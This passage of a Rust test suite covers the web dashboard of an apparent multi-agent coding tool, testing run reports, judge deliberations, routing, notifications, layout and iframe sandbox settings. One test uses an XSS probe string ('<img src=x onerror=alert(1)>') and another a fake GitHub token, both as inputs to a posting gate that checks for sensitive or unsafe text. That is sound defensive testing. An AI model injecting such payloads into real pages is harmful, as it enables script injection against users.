19455 let delib_lines = judging["deliberation"].as_array().unwrap();
19457 assert_eq!(delib_lines.len(), 2);
19458 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19459 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19460
19461 let rounds = judging["rounds"].as_array().unwrap();
19463 assert_eq!(rounds.len(), 2);
19464 let r1_t0 = &rounds[0]["turns"][0];
19465 assert_eq!(r1_t0["judge"], 1);
19466 assert_eq!(r1_t0["agent"], "judge-1");
19467 assert_eq!(r1_t0["tentative"], "A");
19468 assert_eq!(
19469 r1_t0["body"],
19470 "I prefer candidate **A** because it has cleaner tests."
19471 );
19472 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19473
19474 let r2_t0 = &rounds[1]["turns"][0];
19475 assert_eq!(r2_t0["judge"], 1);
19476 assert_eq!(r2_t0["agent"], "judge-1");
19477 assert!(r2_t0["tentative"].is_null());
19478 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19479 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19480
19481 let id_empty = "20260902-140504-nodelib";
19483 write_run(&f.runs(), id_empty, RunStatus::Merged);
19484 let path_empty = f.runs().join(id_empty).join("run.json");
19485 let mut v_empty: serde_json::Value =
19486 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19487 v_empty["judgements"] = serde_json::json!([
19488 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19489 ]);
19490 v_empty["deliberation"] = serde_json::json!([]);
19491 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19492
19493 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19494 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19495 let j_empty = res_empty.json();
19496 let judging_empty = j_empty["sections"]
19497 .as_array()
19498 .unwrap()
19499 .iter()
19500 .find(|s| s["kind"] == "judging")
19501 .expect("judging section exists");
19502 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19503 }
19504
19505 #[tokio::test]
19506 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19507 let f = Fixture::start().await;
19508
19509 let html = f.get("/").await;
19510 let css = f.get("/app.css").await;
19511 let js = f.get("/app.js").await;
19512
19513 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19514 assert!(
19515 html.headers
19516 .contains("content-type: text/html; charset=utf-8")
19517 );
19518 assert!(css.headers.contains("content-type: text/css"));
19519 assert!(js.headers.contains("content-type: text/javascript"));
19520 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19521 }
19522
19523 #[test]
19524 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19525 let body = |name: &str| {
19526 let at = APP_JS
19527 .find(name)
19528 .unwrap_or_else(|| panic!("{name} missing"));
19529 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19530 };
19531 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19532 let note = body("function landRoundNote");
19533 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19534 assert!(note.contains("Land round ${round}"));
19535 let land = body("function renderLand");
19536 let note_at = land
19537 .find("landRoundNote(pr)")
19538 .expect("renderLand uses the note");
19539 assert!(
19540 note_at
19541 < land
19542 .find("roundRail(pr)")
19543 .expect("renderLand uses the rail")
19544 );
19545 }
19546
19547 #[test]
19548 fn the_runs_page_redesign_keeps_its_guards() {
19549 let body = |name: &str| {
19550 let at = APP_JS
19551 .find(name)
19552 .unwrap_or_else(|| panic!("{name} missing"));
19553 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19554 };
19555 let land = body("function renderLand");
19557 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19558 assert!(
19559 !land.contains("box.append("),
19560 "renderLand must use append()"
19561 );
19562 assert!(land.contains("append(box, ["));
19563 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19565 assert!(
19566 body("function applyRoute")
19567 .contains("route.name !== state.route.name || route.id !== state.route.id")
19568 );
19569 assert!(!APP_JS.contains("adviseConvergeDiagram"));
19571 assert!(!INDEX_HTML.contains("advise-converge"));
19572 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19573 assert!(APP_JS.contains("provisional"));
19574 for id in [
19575 "run-tab-overview",
19576 "run-tab-timeline",
19577 "run-tab-report",
19578 "run-report",
19579 "runs-scope",
19580 ] {
19581 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19582 }
19583 assert!(!INDEX_HTML.contains("runs-tree"));
19584 assert!(!INDEX_HTML.contains("run-raw-panel"));
19585 assert!(APP_JS.contains("resume"));
19587 assert!(APP_JS.contains("unreadable"));
19589 }
19590
19591 #[test]
19592 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19593 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19594 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19595 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
19596 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19597 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19598 assert!(APP_JS.contains("unreadable` : null"));
19600 }
19601
19602 #[test]
19603 fn blocked_run_detail_exposes_the_failed_gate_reason() {
19604 let mut state = RunState::new(
19605 "/repo".into(),
19606 "main".into(),
19607 "abc".into(),
19608 "task".into(),
19609 crate::config::Config::default(),
19610 );
19611 state.status = RunStatus::Blocked;
19612 state.gate_ran = true;
19613 state.gate.push(crate::run::CommandOutcome {
19614 command: "cargo make check".into(),
19615 code: Some(1),
19616 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19617 duration_ms: 0,
19618 resource_blocked: false,
19619 });
19620 let view = RunDetailView::of(
19621 state,
19622 false,
19623 crate::run::Liveness::Unknown,
19624 None,
19625 None,
19626 None,
19627 );
19628 let value = serde_json::to_value(view).unwrap();
19629 assert_eq!(
19630 value["stop_reason"],
19631 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19632 );
19633 }
19634
19635 #[test]
19636 fn the_run_detail_payload_says_whether_the_run_is_done() {
19637 for (status, done) in [
19639 (RunStatus::Superseded, true),
19640 (RunStatus::Blocked, true),
19641 (RunStatus::Landing, false),
19642 ] {
19643 let mut state = RunState::new(
19644 std::path::PathBuf::from("/repo"),
19645 "main".to_owned(),
19646 "abc".to_owned(),
19647 "x".to_owned(),
19648 crate::config::Config::default(),
19649 );
19650 state.status = status;
19651 let v = serde_json::to_value(RunDetailView::of(
19652 state,
19653 false,
19654 crate::run::Liveness::Unknown,
19655 None,
19656 None,
19657 None,
19658 ))
19659 .unwrap();
19660 assert_eq!(v["done"], done, "{status:?}");
19661 }
19662 }
19663
19664 fn has_strong(nodes: &[md::Node]) -> bool {
19666 serde_json::to_string(nodes).unwrap().contains("strong")
19667 }
19668
19669 #[test]
19670 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19671 let mut state = RunState::new(
19672 std::path::PathBuf::from("/repo"),
19673 "main".to_owned(),
19674 "abc".to_owned(),
19675 "x".to_owned(),
19676 crate::config::Config::default(),
19677 );
19678 let proposal = |approach: &str| {
19679 serde_json::json!({
19680 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
19681 })
19682 };
19683 state.advice = Some(
19684 serde_json::from_value(serde_json::json!({
19685 "records": [
19686 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
19687 "proposal": proposal("do **this**")},
19688 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
19689 ],
19690 "synthesis": "- one\n- **two**\n\n`code`",
19691 }))
19692 .unwrap(),
19693 );
19694 state.candidates = serde_json::from_value(serde_json::json!([
19695 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
19696 "summary": "did **it**"},
19697 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
19698 ]))
19699 .unwrap();
19700 state.reviews = serde_json::from_value(serde_json::json!([{
19703 "round": 1, "head": "h",
19704 "reviews": [{
19705 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
19706 "findings": [
19707 {"severity": "nit", "title": "t1", "detail": "plain nit"},
19708 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
19709 ],
19710 }],
19711 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
19712 "fix": {"agent": "a", "notes": "fixed **it**",
19713 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
19714 }, {"round": 2, "head": "h2", "reviews": []}]))
19715 .unwrap();
19716
19717 let v = serde_json::to_value(RunDetailView::of(
19718 state,
19719 false,
19720 crate::run::Liveness::Unknown,
19721 None,
19722 None,
19723 None,
19724 ))
19725 .unwrap();
19726
19727 let strong = |p: &str| {
19728 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
19729 assert!(n.to_string().contains("strong"), "{p}: {n}");
19730 };
19731 strong("/advice_md/synthesis");
19732 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
19733 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
19734 strong("/advice_md/approaches/0");
19735 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
19736 strong("/candidate_summaries_md/0");
19737 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
19738 strong("/reviews_md/0/reviewers/0/summary");
19739 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
19740 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
19741 assert!(f[1].to_string().contains("strong"));
19742 strong("/reviews_md/0/reconsideration/0");
19743 strong("/reviews_md/0/fix/notes");
19744 strong("/reviews_md/0/fix/rejected/0");
19745 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
19746 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
19747 assert_eq!(v["candidates"][0]["summary"], "did **it**");
19749 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
19750 }
19751
19752 #[test]
19753 fn a_run_without_advice_has_no_advice_md() {
19754 let state = RunState::new(
19755 std::path::PathBuf::from("/repo"),
19756 "main".to_owned(),
19757 "abc".to_owned(),
19758 "x".to_owned(),
19759 crate::config::Config::default(),
19760 );
19761 let p = run_prose_md(&state);
19762 assert!(p.advice_md.is_none());
19763 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
19764 }
19765
19766 #[test]
19767 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
19768 let store = ask::Questions::at(PathBuf::from("unused"));
19769 let gt = crate::github_text::Withheld {
19770 title: false,
19771 body: true,
19772 categories: vec!["sensitive-data".into()],
19773 };
19774 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
19775 let (detail, comparison) =
19776 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
19777 let mut q = Question::new(
19778 "r".into(),
19779 "github-text".into(),
19780 "posting-gate".into(),
19781 "s".into(),
19782 detail,
19783 Vec::new(),
19784 );
19785 assert!(
19786 QuestionView::of(q.clone(), &store, None)
19787 .posting_view
19788 .is_none()
19789 );
19790 q.posting_comparison = Some(comparison);
19791 let view = QuestionView::of(q.clone(), &store, None);
19792 let field = &view.posting_view.unwrap().fields[0];
19793 assert_eq!(
19794 field
19795 .original
19796 .iter()
19797 .map(|f| f.text.as_str())
19798 .collect::<String>(),
19799 body
19800 );
19801 assert!(field.original[0].text.starts_with("<img"));
19802 let original_question: Question =
19803 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
19804 assert_eq!(original_question, q);
19805 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
19806 .original
19807 .start = 1;
19808 assert!(
19809 QuestionView::of(q.clone(), &store, None)
19810 .posting_view
19811 .is_none()
19812 );
19813 q.posting_comparison = original_question.posting_comparison;
19814 q.detail.push_str("extra context");
19815 assert!(
19816 QuestionView::of(q.clone(), &store, None)
19817 .posting_view
19818 .is_some()
19819 );
19820 q.detail.insert(0, 'x');
19821 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
19822 }
19823
19824 #[test]
19825 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
19826 let store = ask::Questions::at(PathBuf::from("unused"));
19827 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
19828 let gt = crate::github_text::Withheld::from_check(
19829 &crate::github_text::check("fix: x", body),
19830 "fix: x",
19831 body,
19832 )
19833 .unwrap();
19834 let (detail, comparison) =
19835 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
19836 let mut q = Question::new(
19837 "r".into(),
19838 "github-text".into(),
19839 "posting-gate".into(),
19840 "s".into(),
19841 detail,
19842 Vec::new(),
19843 );
19844 q.posting_comparison = Some(comparison);
19845 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
19846 let field = &value["posting_view"]["fields"][0];
19847 let group = &field["replacement_group"];
19848 let triggers = group["triggers"].as_array().unwrap();
19849 assert_eq!(triggers.len(), 2);
19850 assert_ne!(triggers[0], triggers[1]);
19851 for id in triggers {
19852 assert!(
19853 field["original"]
19854 .as_array()
19855 .unwrap()
19856 .iter()
19857 .any(|f| &f["pair"] == id)
19858 );
19859 assert!(
19860 !field["changed"]
19861 .as_array()
19862 .unwrap()
19863 .iter()
19864 .any(|f| &f["pair"] == id)
19865 );
19866 }
19867 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
19868 group["id"].as_u64().unwrap() as usize;
19869 assert!(
19870 QuestionView::of(q, &store, None).posting_view.is_none(),
19871 "group and trigger IDs cannot collide"
19872 );
19873 }
19874
19875 #[test]
19876 fn a_question_view_carries_markdown_for_each_thread_turn() {
19877 let home = TempDir::new().unwrap();
19878 let store = ask::Questions::at(home.path().join("questions"));
19879 let mut q = Question::new(
19880 "run".to_owned(),
19881 "implement".to_owned(),
19882 "impl-A".to_owned(),
19883 "which?".to_owned(),
19884 String::new(),
19885 Vec::new(),
19886 );
19887 q.say("plain words").unwrap();
19888 q.reply("use **this**", Vec::new()).unwrap();
19889 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19890 let bodies = &v["thread_bodies_md"];
19891 assert_eq!(bodies.as_array().unwrap().len(), 2);
19892 assert!(!bodies[0].to_string().contains("strong"));
19893 assert!(bodies[1].to_string().contains("strong"));
19894 }
19895
19896 #[test]
19897 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
19898 let home = TempDir::new().unwrap();
19899 let store = ask::Questions::at(home.path().join("questions"));
19900 let mut q = Question::new(
19901 "run".to_owned(),
19902 "conduct".to_owned(),
19903 "conduct".to_owned(),
19904 "which?".to_owned(),
19905 String::new(),
19906 Vec::new(),
19907 );
19908 q.say("plain words").unwrap();
19909 q.thread.push(ask::Turn {
19910 who: ask::Who::Agent,
19911 body: "Settled as `merge`".to_owned(),
19912 at: jiff::Timestamp::now(),
19913 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
19914 });
19915 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19916 let notes = &v["thread_notes_md"];
19917 assert_eq!(notes.as_array().unwrap().len(), 2);
19918 assert!(notes[0].is_null());
19919 let text = notes[1].to_string();
19920 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
19921 assert!(APP_JS.contains("ask-turn-note"));
19922 }
19923
19924 #[test]
19925 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
19926 assert!(APP_JS.contains("function landView(run, raw) {"));
19930 assert!(
19931 APP_JS.contains(
19932 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
19933 )
19934 );
19935 assert!(APP_JS.contains("const pr = landView(run, raw);"));
19936 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
19937 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
19938 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
19939 }
19940
19941 #[test]
19942 fn live_runs_are_never_hidden_or_folded_as_superseded() {
19943 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
19944 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
19945 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
19946 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
19947 }
19948
19949 #[test]
19950 fn review_rounds_label_a_distinct_verified_head() {
19951 assert!(APP_JS.contains("round.verified_head"));
19952 assert!(APP_JS.contains("verified HEAD"));
19953 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
19954 }
19955
19956 #[test]
19957 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
19958 assert!(APP_JS.contains("blocked: { glyph:"));
19962 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
19963
19964 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
19968 assert!(
19969 APP_JS.contains(
19970 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
19971 ),
19972 "the note line must name what a blocked task is waiting on, not just that it is blocked"
19973 );
19974 assert!(APP_JS.contains("if (status === \"blocked\") {"));
19978
19979 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
19983 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
19984 assert!(
19985 APP_JS.contains("location.hash = \"#/questions\";"),
19986 "a question node must jump to the Questions screen, not pretend to be a task"
19987 );
19988
19989 assert!(APP_JS.contains("Resolved questions"));
19992 assert!(APP_JS.contains("r.answersList.append("));
19993 assert!(APP_CSS.contains(".task-answers"));
19994 {
19995 let start = APP_JS
19996 .find("function updateTalkTaskRow")
19997 .expect("updateTalkTaskRow");
19998 let body = &APP_JS[start..];
19999 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
20000 assert!(
20001 body.contains(
20002 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
20003 ),
20004 "a chat-filed task row must link to the task page"
20005 );
20006 assert!(
20007 !body.contains("#/runs/") && !body.contains("#/queue/"),
20008 "the row must not branch to a run or the queue card"
20009 );
20010 assert!(APP_CSS.contains(".talk-task-link"));
20011 }
20012 }
20013
20014 #[test]
20015 fn a_task_notification_links_to_the_task_page() {
20016 let start = APP_JS
20018 .find("function noticeLink(")
20019 .expect("noticeLink exists");
20020 let body = &APP_JS[start..];
20021 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
20022 assert!(
20023 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
20024 "a task notice's link must target the task page"
20025 );
20026 assert!(
20027 !body.contains("#/queue/"),
20028 "regression: the task link must not go back to the Backlog route"
20029 );
20030 assert!(
20031 APP_JS.contains(
20032 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
20033 ),
20034 "`#/tasks/<id>` must parse into the task route"
20035 );
20036
20037 assert!(
20039 APP_JS.contains(
20040 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
20041 ),
20042 "`#/queue/<id>` must parse into a route carrying that id"
20043 );
20044
20045 assert!(APP_JS.contains("state.queueFocus = route.id;"));
20049 assert!(APP_JS.contains("function consumeQueueFocus()"));
20050 assert!(APP_JS.contains("jumpToTask(id)"));
20051 }
20052
20053 #[test]
20054 fn notifications_distinguish_actionable_questions_from_informational_notices() {
20055 let start = APP_JS
20056 .find("function noticeCoveredBy(")
20057 .expect("noticeCoveredBy exists");
20058 let body = &APP_JS[start..];
20059 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
20060
20061 assert!(body.contains("Associated question ${short}"));
20063 assert!(!body.contains("el(\"a\""));
20064
20065 assert!(body.contains("(resolved)"));
20067 assert!(body.contains("(closed)"));
20068
20069 let start = APP_JS
20070 .find("function renderNotifications()")
20071 .expect("renderNotifications exists");
20072 let body = &APP_JS[start..];
20073 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
20074
20075 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
20077 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
20078 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
20079 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
20080 }
20081
20082 #[test]
20085 fn chat_rows_put_the_title_alone_on_the_first_line() {
20086 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
20087 assert!(APP_CSS.contains(
20088 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
20089 ));
20090 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
20091 assert!(APP_JS.contains("class: \"badge talk-unread\""));
20092 }
20093
20094 #[test]
20095 fn run_rows_put_the_title_alone_on_the_first_line() {
20096 assert!(
20097 APP_CSS.contains(
20098 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
20099 )
20100 );
20101 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
20102 assert!(APP_JS.contains("class: \"card run-card\""));
20103 assert!(APP_JS.contains("class: \"repo run-id\""));
20104 }
20105
20106 #[test]
20110 fn wide_screens_show_list_and_preview_side_by_side() {
20111 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
20113 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
20114 assert!(APP_CSS.contains("main[data-split]"));
20115 assert!(APP_CSS.contains("body[data-split]"));
20116
20117 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
20119 assert!(
20120 APP_JS.contains(
20121 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
20122 )
20123 );
20124 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
20125 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
20126 assert!(INDEX_HTML.contains("id=\"split-empty\""));
20127
20128 assert!(APP_JS.contains("function markSelected() {"));
20130 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
20131 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
20132 assert!(
20134 APP_CSS.contains(
20135 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
20136 )
20137 );
20138
20139 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
20141 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
20142 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
20143 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
20144
20145 assert!(APP_JS.contains("if (state.detail !== detail) return;"));
20149 assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
20150 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
20151 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
20152
20153 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
20155 }
20156
20157 #[test]
20158 fn panel_sandbox_carries_exactly_popups() {
20159 let needle = "sandbox: \"";
20160 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
20161 assert_eq!(
20162 matches.len(),
20163 1,
20164 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
20165 );
20166 let start = matches[0].0 + needle.len();
20167 let end = APP_JS[start..]
20168 .find('"')
20169 .expect("sandbox attribute value must be terminated by a closing quote");
20170 let val = &APP_JS[start..start + end];
20171 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
20172 let expected: std::collections::BTreeSet<&str> =
20173 ["allow-popups", "allow-popups-to-escape-sandbox"]
20174 .into_iter()
20175 .collect();
20176 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
20177 assert!(
20178 !tokens.contains("allow-scripts"),
20179 "allow-scripts must never be present in sandbox"
20180 );
20181 assert!(
20182 !tokens.contains("allow-same-origin"),
20183 "allow-same-origin must never be present in sandbox"
20184 );
20185 }
20186
20187 #[test]
20188 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
20189 assert!(
20198 APP_JS.contains(
20199 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
20200 ),
20201 "the search-clearing branch must run before state.queueFocus is cleared, or the \
20202 recursive renderQueue() call has nothing left to jump to"
20203 );
20204 assert!(
20205 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
20206 "state.queueFocus must be cleared only once the jump has landed, so a card that \
20207 arrives later still gets it"
20208 );
20209 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
20210 assert!(APP_JS.contains("is not in the current Backlog."));
20211 assert!(APP_JS.contains("li.card[data-task-id=\""));
20212 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
20213 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
20214 assert!(APP_CSS.contains(".card-permalink"));
20215 assert!(APP_CSS.contains(".queue-focus-status"));
20216 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
20217 }
20218
20219 #[test]
20220 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
20221 assert!(
20229 APP_JS.contains(
20230 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
20231 ),
20232 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
20233 );
20234 }
20235
20236 #[test]
20237 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
20238 assert!(
20239 APP_JS.contains("round.verified_head !== round.head"),
20240 "a round that verified an earlier commit must be visibly distinct from one that \
20241 verified the head reviewers are looking at now"
20242 );
20243 assert!(
20244 APP_JS.contains("round.verified_at"),
20245 "when a check ran must be on the wire, not just which commit"
20246 );
20247 assert!(
20248 APP_JS.contains("resource_blocked"),
20249 "a command magi never got to run (shared build cache contention) must not render \
20250 the same as a command that ran and failed"
20251 );
20252 }
20253
20254 #[test]
20255 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
20256 assert!(
20264 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
20265 "every KPI tile built through statusTile() must route its click through \
20266 openRunsFiltered, the single place that sets the Runs filter"
20267 );
20268 for (label, status) in [
20269 ("Merged", "merged"),
20270 ("Ready", "ready"),
20271 ("Blocked", "blocked"),
20272 ("Stalled", "stalled"),
20273 ] {
20274 let call = format!("statusTile(\"{label}\", t.{status}, ");
20275 assert!(
20276 APP_JS.contains(&call),
20277 "expected the {label} KPI tile built via {call}..."
20278 );
20279 assert!(
20280 APP_JS.contains(&format!("status === \"{status}\"")),
20281 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
20282 compare a run against, not one invented only for the stats tile"
20283 );
20284 }
20285 assert!(
20286 APP_JS.contains("function openRunsFiltered(status)"),
20287 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
20288 );
20289 assert!(
20290 APP_JS.contains(
20291 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
20292 ),
20293 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
20294 );
20295 assert!(
20303 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
20304 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
20305 hashchange event that may never fire"
20306 );
20307 }
20308
20309 #[test]
20310 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
20311 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
20317 assert!(
20318 APP_JS.contains(
20319 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
20320 ),
20321 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
20322 guard for an incompatible tree section"
20323 );
20324 }
20325
20326 #[test]
20327 fn every_stats_queue_tile_names_a_real_queue_section() {
20328 assert!(
20334 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
20335 "every queue tile built through sectionTile() must route its click through \
20336 openQueueSectionFocus"
20337 );
20338 for key in ["upnext", "running", "done", "held", "blocked"] {
20339 assert!(
20340 APP_JS.contains(&format!("{{ key: \"{key}\",")),
20341 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
20342 );
20343 }
20344 for line in [
20348 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
20349 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
20350 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
20351 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
20352 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
20353 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
20354 ] {
20355 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
20356 }
20357 }
20358
20359 #[test]
20360 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
20361 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20368 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20369 assert!(APP_JS.contains("function revealQueueSection(details)"));
20370 assert!(
20371 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
20372 "renderQueue() must consume both focus channels on every pass"
20373 );
20374 assert!(
